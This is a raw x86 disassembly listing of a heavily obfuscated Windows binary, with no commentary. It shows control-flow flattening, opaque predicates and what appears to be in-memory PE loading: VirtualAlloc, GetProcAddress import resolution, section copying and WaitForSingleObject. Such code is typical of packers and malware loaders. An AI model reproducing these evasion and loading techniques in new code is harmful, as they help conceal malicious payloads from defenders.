mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, cl
and ah, al
xor al, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x3d3d06f4
cmovne ecx, esi
test al, 1
mov eax, 0x3d3d06f4
jmp 0x413940
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x493584]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x1e4258e
and ecx, 0xfe1bda71
or eax, ecx
mov ecx, eax
xor ecx, 0x802484
xor eax, 0x56005230
and eax, 0x5764533a
and ecx, 0xa89bacc5
or ecx, eax
mov eax, ecx
xor ecx, 0x2011a4c4
xor eax, 0x5764533a
mov edx, eax
and ecx, 0x6115a6f4
and eax, 0x9eea590b
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x9eea590a
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x8002120d
and eax, 0x41e82140
mov edx, ecx
or edx, 0x14004090
and esi, 0x9402529d
and ecx, 0x2a158c22
and edx, 0x9402529d
or ecx, esi
mov esi, 0x8d523bde
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x3e15ccb2
and ecx, 0xc1ea334d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x694c20d8
and ecx, 0x96b3df27
or eax, ecx
mov ecx, eax
xor ecx, 0x280400c8
xor eax, 0x84111b07
and eax, 0xc5593b17
and ecx, 0x3aa6c4e8
or ecx, eax
xor ecx, 0x3aa6c4e8
sete cl
setne dl
cmp dword [0x493580], 0xa
setl al
setge ah
xor al, cl
or ah, dl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
or cl, al
and dl, ah
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x663bbd51
cmovne ecx, esi
test dl, dl
mov edx, 0x663bbd51
cmove ecx, edx
test al, al
cmovne ecx, esi
mov eax, ecx
jmp 0x4021f0
push 4
push 0x3000
push dword [ebp - 0xf4]
push dword [ebp - 0x140]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [0x493584]
cmp dword [eax + 4], 0
lea eax, [ecx + 1]
sete byte [ebp - 0x9c]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xb79693a1
and ecx, 0x48696c5e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb976e4e0
and ecx, 0x46891b1f
or eax, ecx
mov ecx, eax
xor eax, 0xee02141
xor ecx, 0xf11f88be
mov edx, ecx
and eax, 0x4ee6295d
and edx, 0xb119d6a2
and ecx, 0x4580b38a
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0xb119d6a2
xor esi, 0xf4996528
xor edx, 0x4a6094c
and esi, eax
and edx, 0x34bedb4e
and eax, 0xcb4124b0
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xba7f4c74
xor eax, 0xcb4124b0
and esi, 0x4580b38b
or ecx, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x61bd202c
and ecx, 0x9e42dfd3
or eax, ecx
mov ecx, eax
xor ecx, 0x41ad2024
xor eax, 0x9e00c1c3
and eax, 0xbe10c1cb
and ecx, 0x41ef3e34
or ecx, eax
xor ecx, 0xbe10c1cb
setne al
sete ch
cmp dword [0x493580], 0xa
mov edx, eax
setl cl
setge ah
and dl, ah
and cl, ch
xor al, ah
or cl, dl
and al, ch
xor cl, 1
xor al, 1
or cl, ah
or ah, ch
mov ch, al
or al, ah
xor ch, ah
mov edx, ecx
xor al, 1
xor dl, 1
or al, ch
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, ah
xor ch, 1
mov dh, ch
or ch, ah
xor dh, ah
xor ch, 1
xor ah, cl
or ch, dh
mov dh, dl
or al, ah
and dh, cl
xor dh, 1
or dh, cl
mov cl, al
xor dh, 1
or dh, dl
xor ch, dh
mov edx, 0xcb31776f
xor cl, ch
test al, 1
mov eax, 0x1f225f86
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x1f225f86
cmove eax, edx
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x9e00d01
and eax, 0xe61150f8
mov edx, ecx
and edx, 0x100ea206
or esi, edx
xor esi, 0x9e00d01
or eax, esi
mov esi, 0x12629ad2
mov edx, eax
not edx
and eax, 0x29b6c670
and edx, 0xd649398f
or eax, edx
xor eax, 0xcfa79689
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9086fde4
and ecx, 0x6f79021b
or eax, ecx
xor eax, 0x9086fde4
sete dl
setne ah
cmp dword [0x493580], 0xa
mov ecx, edx
setge al
setl ch
mov dh, al
xor cl, ch
xor dl, al
or al, ah
xor dh, ah
or ah, ch
xor al, 1
and cl, ch
xor ah, 1
or al, dh
or cl, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
mov ah, cl
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor ah, al
or dl, ch
mov ch, dl
and dl, al
xor al, 1
xor ch, 1
and ch, al
or al, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xed5c5b89
cmovne eax, esi
test dl, 1
not cl
mov edx, 0xed5c5b89
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1d4], eax
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x10232884
mov edx, eax
and edx, 0x60008240
and eax, 0xe298d832
or esi, edx
mov edx, ecx
xor edx, 0x7023aac4
and edx, ecx
xor esi, 0x10232884
and ecx, 0x1d6727cd
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x6522e12b
and esi, 0x9add1ed4
or edx, esi
mov esi, edx
xor esi, 0x4822
xor edx, 0xeafeb411
mov edi, edx
and edi, 0x1d6727cd
and esi, 0xe298d832
or esi, edi
mov edi, 0xf3a212e2
xor eax, esi
mov esi, 0xe966362a
not eax
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x493580], 0xa
setl al
setge ch
mov cl, al
and al, ah
or cl, dl
and dl, ch
xor ch, ah
xor cl, 1
or al, dl
or cl, ch
xor cl, 1
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xf3a212e2
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, 1
cmove eax, esi
jmp 0x4021f0
mov eax, 0xdee1ef6
jmp 0x4021f0
mov eax, 0x66621348
jmp 0x4021f0
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov eax, ecx
not eax
and ecx, 0x684e429
and eax, 0xf97b1bd6
or ecx, eax
mov eax, ecx
xor eax, 0x80e401
xor ecx, 0x38210316
and ecx, 0x3e25033e
and eax, 0xc1dafcc1
or eax, ecx
mov edx, eax
xor eax, 0xc1dafcc1
xor edx, 0x24240214
mov edi, eax
or edi, 0x19b84594
mov esi, eax
and esi, 0x19b84594
or eax, 0x40000000
and edx, 0xa46c3615
mov ecx, edi
not ecx
and edi, 0xa647ba6b
and eax, 0x5b93c9ea
or ecx, esi
or eax, edx
and ecx, 0x59b84594
or ecx, edi
mov edx, ecx
not edx
and ecx, 0xf3230a79
mov esi, edx
and esi, 0xcdcf586
or ecx, esi
mov esi, eax
xor esi, 0x13030868
xor eax, 0xa46c3615
or edx, eax
and eax, 0xcdcf586
and esi, 0xb3230a79
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x3f2bfd2
and edx, 0xfc0d402d
or eax, edx
mov edx, eax
xor edx, 0x3d2a142
xor eax, 0xfc0d402d
mov esi, eax
and esi, 0xf0211eb4
and edx, 0xfdee14b
or edx, esi
mov esi, ecx
not esi
and ecx, 0xfdee14b
or eax, esi
and esi, 0xf0211eb4
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, dword [0x493584]
setne byte [ebp - 0xa2]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x100800
and eax, 0x5be7e3ed
and ecx, 0xa4081412
or edx, ecx
xor edx, 0x100800
or eax, edx
mov ecx, eax
not ecx
and eax, 0xed3dc1e0
and ecx, 0x12c23e1f
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xb6da220d
xor edx, 0x4925ddf2
xor eax, 0xcd404bb5
mov esi, ecx
and eax, edx
and esi, 0x84659647
and edx, 0xcfab65d2
or eax, esi
mov esi, eax
not esi
and eax, 0xc26a9f67
and esi, 0x3d956098
or eax, esi
mov esi, ecx
and esi, 0x30549a2d
and ecx, 1
or esi, edx
xor eax, 0x460f0921
xor esi, 0xcfab65d3
or ecx, esi
mov esi, 0x9caf175b
mov edx, ecx
not edx
and ecx, 0x185fd9e6
and edx, 0xe7a02619
or ecx, edx
xor ecx, 0x185fd9e6
or ecx, eax
mov eax, ecx
xor eax, 0x133bee55
and eax, ecx
not ecx
and ecx, 0x133bee55
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf4ee262e
and ecx, 0xb11d9d1
or eax, ecx
mov ecx, eax
xor ecx, 0x2800002
xor eax, 0x18023280
and ecx, 0x2a80506
and eax, 0xfd57faf9
or eax, ecx
mov ecx, eax
xor ecx, 0x800102
xor eax, 0xf846c290
and eax, 0xfa6ec694
and ecx, 0x591396b
or ecx, eax
xor ecx, 0x591396b
setne dl
sete ah
cmp dword [0x493580], 0xa
mov dh, dl
setge cl
setl ch
mov al, cl
or cl, dl
and dh, ch
xor dl, ch
xor ch, ah
xor cl, 1
and al, ah
mov ah, dl
or cl, ch
or al, dh
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0x868f7808
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x868f7808
jmp 0x413940
mov eax, 0x1ffa809f
jmp 0x4021f0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x89b7bb1d
jmp 0x4021f0
cmp dword [ebp - 0x190], 0
mov eax, 0x286ebb0d
mov ecx, 0xfa6a6f07
cmove eax, ecx
jmp 0x4021f0
mov ecx, dword [ebp - 0x150]
mov eax, 0x42ccbbd3
mov dword [ebp - 0xf0], ecx
jmp 0x4021f0
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x31c568bf
mov eax, edx
and eax, 0x5eb72b9c
andn esi, edx, ecx
not edx
and edx, 0xa148d463
or edx, eax
mov eax, edx
mov edi, edx
xor eax, 0xa148d463
xor edi, 0x908dbcdc
xor edx, 0x4a810384
and edi, eax
and edx, 0xca8113e4
mov ecx, edi
not ecx
and edi, 0x26188c5a
mov ebx, ecx
and ebx, 0xd9e773a5
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x26188c5a
or ecx, ebx
and ebx, 0xd9e773a5
or esi, ebx
not ecx
mov ebx, eax
and ebx, 0x357eec1b
and eax, 1
xor esi, edi
or ebx, edx
or ecx, esi
mov edx, ebx
xor edx, 0xca8113e5
xor ebx, 0x24086c1a
mov esi, ecx
not esi
and ecx, 0xce3a9741
or eax, edx
and ebx, 0xec097c5a
and esi, 0x31c568be
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xec097c5a
mov edi, edx
or edx, eax
and edi, 0x13f683a5
and eax, 0x13f683a5
or ecx, edi
or ebx, eax
not edx
xor ebx, ecx
or edx, ebx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x1931ec80
and eax, 0xe6ce137f
or eax, ecx
xor eax, 0x1931ec80
xor edx, eax
test edx, eax
sete cl
cmp dword [0x493580], 0xa
setge ah
setl al
mov dl, ah
xor al, cl
xor dl, cl
mov ecx, eax
and dl, ah
xor cl, 1
mov ah, dl
xor dl, al
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
mov ch, ah
xor dl, 1
and dl, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ch, dl
mov ah, dl
xor ch, 1
and ah, ch
xor ah, 1
or ah, ch
or ch, cl
xor ah, 1
or ah, dl
mov edx, 0x1c17f5ad
xor ah, al
mov al, ch
xor al, ah
test ch, 1
mov ecx, 0x6183a8b0
cmovne ecx, edx
test ah, 1
cmove ecx, edx
test al, 1
mov eax, 0x6183a8b0
jmp 0x4021e0
mov eax, dword [ebp - 0x1b0]
mov ecx, 0x2e1b1b97
cmp eax, 0xc
mov eax, 0xef4ae8b1
cmove eax, ecx
jmp 0x4021f0
mov eax, 0x4786c505
jmp 0x4021f0
mov eax, 0xcf6e6ed
jmp 0x4021f0
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, 0x8a6759d9
jmp 0x4021f0
mov eax, 0x2d9de871
jmp 0x4021f0
mov ecx, dword [0x493584]
mov edi, 0xcac3398e
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x589ef9d2
and eax, 1
mov edx, ecx
and edx, 0xa761062c
or esi, edx
xor esi, 0x589ef9d2
or eax, esi
mov esi, 0x900b75f2
mov edx, eax
not edx
and eax, 0xfeaffa62
and edx, 0x150059d
or eax, edx
xor eax, 0xfeaffa62
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcb999291
and ecx, 0x34666d6e
or eax, ecx
xor eax, 0xcb999291
sete ah
setne dl
cmp dword [0x493580], 0xa
mov dh, ah
setl al
setge ch
or dh, ch
mov cl, al
and ch, ah
or cl, dl
mov bl, dh
and dl, al
or al, ah
xor bl, cl
or cl, dh
or dl, ch
xor al, 1
xor cl, 1
or al, dl
or cl, bl
mov ah, al
mov ebx, 0xcac3398e
mov edx, ecx
xor ah, 1
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test dl, 1
cmovne eax, ebx
jmp 0x4021f0
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, 0xabf1e4e6
jmp 0x4021f0
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x110]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe0]
add eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x108]
vzeroupper
call fcn.004334b0
add esp, 0xc
mov eax, 0xcff64d87
jmp 0x4021f0
mov eax, 0x884d5bcb
jmp 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
or eax, 1
and edx, ecx
not ecx
mov edi, eax
and edi, 0x65d07154
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x9a2f8eaa
and edx, 0x9a2f8eab
or eax, ebx
and ebx, 0x65d07154
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x51d5a33e
or eax, edx
mov edx, eax
not edx
and eax, 0x4b1421b4
and edx, 0xb4ebde4b
or eax, edx
xor eax, 0x4b1421b4
or eax, ecx
xor eax, 0xffffffff
sete dl
setne al
cmp dword [0x493580], 0xa
setl cl
mov ah, cl
xor al, cl
or cl, dl
xor ah, dl
xor cl, 1
mov ch, al
or cl, ah
xor ch, 1
mov edx, ecx
and cl, ch
xor dl, 1
and al, dl
or al, cl
mov cl, ch
xor cl, dl
or dl, ch
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x20449ddf
cmovne edx, esi
test al, al
mov eax, 0x20449ddf
jmp 0x40f685
mov eax, 0x2e1b1b97
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xc
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x8f22686e
mov edx, eax
and edx, 0x5004822
and ecx, eax
not eax
mov esi, eax
and esi, 0x8a22204c
or edx, esi
mov esi, 0xc16af790
xor edx, 0x5004822
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xf774cfb
and edx, 0xf088b304
or ecx, edx
mov edx, ecx
xor edx, 0x80542080
xor ecx, 0x1c001b42
and ecx, 0x1c011f56
and edx, 0xe3fee0a9
or edx, ecx
xor edx, 0xe3fee0a9
or edx, eax
xor edx, 0xffffffff
setne al
sete ah
cmp dword [0x493580], 0xa
mov ch, al
setl cl
setge dl
and ch, dl
and cl, ah
xor al, dl
or cl, ch
and al, ah
xor cl, 1
xor al, 1
or cl, dl
or dl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x97436b17
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, esi
test ah, 1
jmp 0x41251a
mov eax, dword [0x493584]
mov esi, 0x3774e647
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0xe9d2bcb0
and edx, 0x162d434f
or edx, ecx
mov ecx, edx
xor edx, 0x42d4142
xor ecx, 0xe9d2bcb0
mov eax, ecx
and edx, 0xedbde572
and eax, 0x12421a8d
and ecx, 0x36d18df
or eax, edx
mov edx, eax
xor edx, 0x10020200
xor eax, 0xedbde572
and edx, 0xfc92e720
and eax, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x54497325
and edx, 0xabb68cda
or ecx, edx
xor ecx, 0xa8db9404
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfdeb9a3d
and ecx, 0x21465c2
or eax, ecx
mov ecx, eax
xor ecx, 0x9de08239
xor eax, 0x2142180
and eax, 0x621f3984
and ecx, 0x9de0c67b
or ecx, eax
mov eax, ecx
xor eax, 0x62152900
xor ecx, 0x120063b
and eax, 0xfed5e940
and ecx, 0x12a16bf
or ecx, eax
cmp ecx, 0x12a16bf
setne cl
cmp dword [0x493580], 0xa
setge ah
mov dl, ah
xor dl, cl
mov ch, dl
mov al, dl
xor dl, 1
and ch, cl
mov ebx, edx
and al, ah
or cl, ah
mov dh, ch
and bl, ah
xor ch, al
xor al, 1
not bl
xor dh, 1
or al, dh
or bl, dl
mov edx, 0xc62e53db
xor al, 1
not bl
or al, ch
or bl, cl
xor bl, al
and bl, 1
cmovne edx, esi
test bl, al
mov eax, dword [ebp - 0x44]
cmove edx, esi
mov esi, 0xc62e53db
cmovne edx, esi
test bl, bl
jmp 0x413161
mov ecx, dword [0x493584]
mov edi, 0x68e7344f
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x452b8ccc
and ecx, 0xbad47332
or edx, ecx
mov ecx, eax
and ecx, 1
xor edx, 0x452b8ccc
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xc770ade7
xor edx, ecx
test edx, ecx
sete ah
setne dh
cmp dword [0x493580], 0xa
setge dl
mov ch, dl
mov cl, dl
mov al, dl
or dl, dh
inc ch
xor cl, dh
and al, ah
xor dl, 1
and dh, ch
xor ch, ah
or al, dh
or dl, ch
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
mov ah, al
xor dl, 1
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov ch, dl
test dl, 1
not ch
cmovne esi, edi
test ch, cl
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test ch, cl
cmove eax, esi
jmp 0x4021f0
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x174], eax
mov eax, 0x38a60ec1
jmp 0x4021f0
mov eax, 0xcc31cbb2
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x803041f
mov esi, ecx
mov edi, ecx
or esi, 0x88000
and edx, 0x80b841f
and edi, 0x101b60
and ecx, 0xd9a12d4c
or edi, edx
mov edx, eax
and esi, 0x80b841f
and edx, 0xf7e46080
and eax, 0x265ed2b3
or edx, esi
or eax, ecx
xor edx, edi
mov ecx, eax
xor ecx, 0x265ed2b3
xor eax, 0xd9a12d4c
mov esi, edx
not esi
and edx, 0x189b61
and esi, 0xffe7649e
or edx, esi
mov esi, 0x4af48ffb
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x493580], 0xa
setl al
setge ah
mov ch, al
and dl, ah
xor al, cl
and ch, cl
or ch, dl
xor ah, ch
and ah, ch
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xcff64d87
cmovne eax, esi
test cl, cl
mov ecx, 0xcff64d87
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x14310124
mov esi, edx
mov edi, edx
or esi, 0x4004084a
and ecx, 0x5435096e
and edi, 0x80ca6690
and edx, 0xe67a5ded
or edi, ecx
mov ecx, eax
and esi, 0x5435096e
and ecx, 0x2b009001
and eax, 0x1985a212
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0xc0ce6edb
and esi, 0x3f319124
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x34131286
and esi, 0xcbeced79
or ecx, esi
mov esi, ecx
xor esi, 0x20120284
xor ecx, 0xcbeced79
mov edx, ecx
and edx, 0x1ce9915b
and esi, 0xe3166ea4
or esi, edx
mov edx, eax
xor edx, 0x1042200
xor eax, 0xe67a5ded
or ecx, eax
and eax, 0x1ce9915b
and edx, 0xe3166ea4
or edx, eax
not ecx
xor edx, esi
mov esi, 0xc6e813b
or ecx, edx
xor ecx, 0xffffffff
sete dl
setne ch
cmp dword [0x493580], 0xa
setl cl
setge al
or dl, cl
xor cl, ch
xor cl, 1
or cl, al
xor al, ch
and al, dl
mov ah, cl
mov ch, al
mov edx, eax
xor ah, 1
xor ch, 1
and dl, ch
xor dl, 1
or dl, ch
mov ch, ah
xor dl, 1
xor ch, al
or dl, al
or al, ah
and ah, cl
xor ah, 1
xor al, 1
mov dh, ah
or ah, cl
or al, ch
xor dh, cl
xor ah, 1
mov ecx, eax
or ah, dh
xor dl, ah
xor cl, dl
test cl, 1
mov ecx, 0xfbeda4b2
cmovne ecx, esi
test al, 1
mov eax, 0xfbeda4b2
jmp 0x412f61
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x110]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
add eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x108]
vzeroupper
call fcn.004334b0
add esp, 0xc
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x40800600
mov ecx, esi
and ecx, 0x312140bc
and esi, 0xd61c02e7
or edx, ecx
mov ecx, eax
xor ecx, 0x71a146bc
and ecx, eax
xor edx, 0x40800600
and eax, 0x29e3fd18
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0x62ddba72
and edx, 0x9d22458d
or ecx, edx
mov edx, ecx
xor ecx, 0xc0830110
xor edx, 0x137cfccf
mov esi, edx
and esi, 0x3f746ea3
and ecx, 0xc08b915c
or ecx, esi
mov esi, eax
xor esi, 0x839118
xor eax, 0xd61c02e7
or edx, eax
and eax, 0x3f746ea3
and esi, 0xc08b915c
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x3aae2848
xor edx, 0xffffffff
sete al
setne dl
cmp dword [0x493580], 0xa
setge cl
setl ah
or al, cl
or ah, dl
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
mov ah, dl
mov ch, dl
or dl, al
xor al, 1
xor ah, 1
and ch, al
xor dl, 1
xor al, ah
and cl, ah
or dl, al
or cl, ch
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x4af48ffb
cmovne esi, eax
test dl, 1
mov eax, 0x3aae2848
cmovne eax, esi
jmp 0x413829
mov eax, 0xc458315d
jmp 0x4021f0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x64]
mov eax, 0x2bfa947
jmp 0x4021f0
mov eax, dword [ebp - 0xb8]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 0x7e212e30
jmp 0x4021f0
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a0], eax
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
andn eax, ecx, ecx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0xc869785
mov esi, eax
not esi
and edx, 0xf379687a
and eax, 0xf379687a
or ecx, esi
and esi, 0xc869785
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov esi, ecx
xor esi, 0x2bce84e9
andn eax, ecx, esi
and esi, ecx
mov edx, eax
not edx
and eax, 0x14fb9c94
mov edi, edx
and edi, 0xeb04636b
or eax, edi
mov edi, esi
not edi
and esi, 0x14fb9c94
or edx, edi
and edi, 0xeb04636b
or esi, edi
not edx
mov edi, 0x3f83c483
xor esi, eax
mov eax, ecx
not eax
and ecx, 0xb403ac68
or edx, esi
or eax, 1
mov esi, edx
not esi
and eax, 0x4bfc5397
and edx, 0x505adaf3
and esi, 0xafa5250c
or eax, ecx
or edx, esi
xor eax, 0x4bfc5397
xor edx, 0x7b945e1b
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc12110c0
and eax, 0x26004220
mov edx, ecx
and edx, 0x5c2d0e
or ecx, 0x41501000
or esi, edx
and ecx, 0x59d29011
mov edx, esi
xor edx, 0x802100c0
xor esi, 0x18d28011
or eax, ecx
and esi, 0x59d29011
and edx, 0x802d2dce
or edx, esi
mov esi, 0x10e02799
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xc17d3dce
and ecx, 0x3e82c231
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3483fd1e
and ecx, 0xcb7c02e1
or eax, ecx
mov ecx, eax
xor ecx, 0x24020c12
xor eax, 0x484c0280
and eax, 0x58cdf38c
and ecx, 0xa7320c73
or ecx, eax
xor ecx, 0xa7320c73
sete cl
setne ah
cmp dword [0x493580], 0xa
setl al
setge ch
mov edx, eax
and al, ah
or dl, cl
and cl, ch
xor ch, ah
xor dl, 1
or al, cl
or dl, ch
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
mov edx, 0x3f83c483
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x6a9ba27e
mov esi, edx
and esi, 0xfffffffe
and edx, 0x95645d81
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x2e87183f
mov esi, edx
and esi, 0xd178e7c0
or ecx, esi
mov esi, eax
xor esi, 0x2a83003e
xor eax, 0x91604580
and eax, 0xd178e7c0
and esi, 0x2e87183f
